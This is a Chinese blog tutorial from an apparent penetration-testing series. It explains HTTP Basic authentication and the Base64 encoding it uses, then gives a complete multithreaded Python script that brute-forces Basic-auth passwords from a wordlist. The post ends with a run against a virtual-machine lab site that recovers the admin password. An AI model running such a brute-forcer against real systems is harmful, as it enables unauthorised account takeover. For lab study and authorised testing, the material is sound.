美文网首页Python研究刚刚开始程序员python热爱者
使用Python进行网络安全渗透——密码攻击测试器

使用Python进行网络安全渗透——密码攻击测试器

作者: 9c8bd366d2f7 | 来源:发表于2017-11-29 13:22 被阅读159次

    首发州的先生个人博客:http://zmister.com/archives/192.html

    相关文章:

    利用Python进行Web渗透测试(七):用Python编写一个资源暴力探测工具

    利用Python进行Web渗透测试(八):改进暴力探测器的显示结果和新功能

    利用Python进行Web渗透测试(九):添加渗透测试探测器结果截图

    本篇将会涉及:

    • HTTP 基本认证
    • 对HTTP Basic认证进行密码暴力攻击测试

    什么是HTTP 基本认证

    HTTP基本认证(HTTP Basic Authentication)是HTTP协议中实现Web资源访问控制的最简单的认证手段。其通过添加header头域的方式或者在URL中附带参数的方式提供认证信息,并通过Base64编码将认证信息进行编码传输,最后由服务器接收到编码后的字符进行解码认证。

    当我们访问一个需要进行HTTP基本认证的网址时,其会通过响应一个401状态码,并返回一个认证框来接收用户输入的认证信息。如果我们填错,服务器会继续返回一个401状态码和认证框,如果认证成功,则返回200请求成功状态码。

    HTTP基本认证一个优点是几乎所有的现代浏览器都支持这种认证方式,非常的简单方便,但是由于其技术特性,这种认证方式并不是很安全,现在亦多存在于内网环境下的站点。

    其采用的Base64编码加密,也是属于“防君子不防小人”的加密。利用Python的base64模块,我们就能够轻松的进行加密和解密:

    import base64
    
    # 原始字符串
    a = 'admin123'
    
    # base64编码加密
    b = base64.b64encode(a.encode('utf-8'))
    print(str(b,'utf-8'))
    
    # base64编码解密
    c = str(b,'utf-8')
    d = base64.b64decode(c)
    print(str(d,'utf-8'))
    

    返回的结果为:

    YWRtaW4xMjM=
    admin123
    

    是不是感觉很坑爹,嗯,就是的。^_^

    编写Python密码暴力测试器

    了解了HTTP基本认证的一些概念,下面我们继续使用Python编写一个渗透测试密码暴力破解器。

    照常,我们引入相关的模块

    # coding:utf-8
    
    import requests
    import sys
    import getopt
    import time
    from termcolor import colored
    from threading import Thread
    

    相关模块的功能,在上一篇编写资源探测器的文章中已经提及,忘记了的可以前往博客阅读:http://zmister.com/archives/180.htmlhttp://zmister.com/archives/181.html

    由于字典中的条目会有很多,所以我们设置一个全局变量,用来标识字典中的密码是否有效:

    global valid
    valid = '1'
    

    然后照例我们定义一个横幅函数,装饰我们的单调的命令行:

    # 程序标识
    def banner():
        print("\n********************")
        name = '''
      ______          _     _
     |___  /         (_)   | |
        / / _ __ ___  _ ___| |_ ___ _ __
       / / | '_ ` _ \| / __| __/ _ \ '__|
      / /__| | | | | | \__ \ ||  __/ |
     /_____|_| |_| |_|_|___/\__\___|_|
        '''
        print(name)
        print("州的先生-密码暴力测试器 v1.0")
        print("***********************")
    

    接着,仍然是程序的使用参数方法示例:

    # 程序用法
    def usage():
        print("州的先生密码暴力测试器使用方法:")
        print("     -w:网址 (http://wensite.com/admin)")
        print("     -u:用户名")
        print("     -t:线程数")
        print("     -f:字典文件")
        print("例子:bruteforcer.py -w http://zmister.com/admin -u admin -t 5 -f commom.txt")
    

    接着就是我们的主类request_performer():

    class request_performer(Thread):
        def __init__(self,name,user,url):
            Thread.__init__(self)
            try:
                self.password = name.split("\n")[0]
                self.username = user
                self.url = url
            except Exception as e:
                print(e)
    
        def run(self):
            global valid
            if valid == '1':
                try:
                    r = requests.get(self.url,auth=(self.username,self.password))
                    if r.status_code == 200:
                        valid = '0'
                        print("[+]发现密码:"+ colored(self.password,'green'))
                        sys.exit()
                    else:
                        print("无效的密码:"+ self.password)
                        i[0] = i[0] - 1
                except Exception as e:
                    print(e)
    

    最后是启动线程的函数launcher_thread()和启动程序的函数start():

    def start(argv):
        banner()
        if len(sys.argv) < 5:
            usage()
            sys.exit()
        try:
            opts, args = getopt.getopt(argv, "u:w:f:t:")
        except getopt.GetoptError:
            print("错误的参数")
            sys.exit()
        for opt, args in opts:
            if opt == '-u':
                user = args
            elif opt == '-w':
                url = args
            elif opt == '-f':
                dicts = args
            elif opt == '-t':
                threads = args
        try:
            f = open(dicts, 'r')
            passwords = f.readlines()
        except:
            print("打开文件错误:", dicts, "\n")
            sys.exit()
        launcher_thread(passwords,threads,user,url)
    
    def launcher_thread(passwords,th,username,url):
        global i
        i = []
        print("==============================================")
        i.append(0)
        while len(passwords):
            if valid == '1':
                try:
                    if i[0] < int(th):
                        passwd = passwords.pop(0)
                        i[0] = i[0]+1
                        thread = request_performer(passwd,username,url)
                        thread.start()
                except KeyboardInterrupt:
                    print("用户停止了程序运行。完成探测")
                    sys.exit()
                thread.join()
        return True
    

    最后,我们依然使用虚拟机中的http://www.scruffybank.com/作为靶机,对http://www.scruffybank.com/Admin 的admin用户进行密码攻击测试,以一个弱口令文件作为字典:

    在命令行终端运行命令:

    python passBruteForcer.py -w http://www.scruffybank.com/Admin -u admin -t 5 -f pass.txt
    

    结果显示发现了一个密码“administrator”

    我们打开http://www.scruffybank.com/Admin,使用用户名admin和密码administrator登录,看看能否成功登录。

    结果认证成功进入了一个目录内,说明我们的弱口令密码暴力测试成功了。

    下一篇,我们将改进我们的密码暴力测试器,让其支持更加安全的认证方式——HTTP摘要认证。
    敬请期待!

    相关文章

      网友评论

        本文标题:使用Python进行网络安全渗透——密码攻击测试器

        本文链接:https://www.haomeiwen.com/subject/yskdbxtx.html